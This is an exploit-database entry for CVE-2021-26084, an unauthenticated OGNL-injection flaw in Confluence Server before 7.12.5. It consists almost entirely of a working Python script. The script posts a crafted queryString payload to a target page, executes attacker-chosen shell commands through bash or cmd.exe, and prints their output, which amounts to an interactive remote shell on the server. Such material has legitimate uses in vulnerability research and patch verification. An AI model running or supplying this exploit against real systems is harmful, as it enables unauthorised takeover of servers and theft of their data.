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Confluence Server 7.12.4 OGNL Injection Remote Code Execution

Confluence Server 7.12.4 OGNL Injection Remote Code Execution
Posted Sep 1, 2021
Authored by h3v0x

Confluence Server version 7.12.4 unauthenticated OGNL injection remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2021-26084
MD5 | 0340434a86c779c9694e3699eb42446f

Confluence Server 7.12.4 OGNL Injection Remote Code Execution

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# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)
# Date: 01/09/2021
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.12.x versions before 7.12.5
# Tested on: Linux Distros
# CVE : CVE-2021-26084

#!/usr/bin/python3

# References:
# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

import requests
from bs4 import BeautifulSoup
import optparse

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://confluencexxx.com")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x")

options, args = parser.parse_args()
session = requests.Session()

url_vuln = options.url
endpoint = options.path

if not options.url or not options.path:

print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')
print('[+] Example help usage: exploit.py -h')
exit()


def banner():

print('---------------------------------------------------------------')
print('[-] Confluence Server Webwork OGNL injection')
print('[-] CVE-2021-26084')
print('[-] https://github.com/h3v0x')
print('--------------------------------------------------------------- \n')


def cmdExec():

while True:
cmd = input('> ')
xpl_url = url_vuln + endpoint
xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate"}
xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data)

soup = BeautifulSoup(rawHTML.text, 'html.parser')
queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
print(queryStringValue)


banner()
cmdExec()

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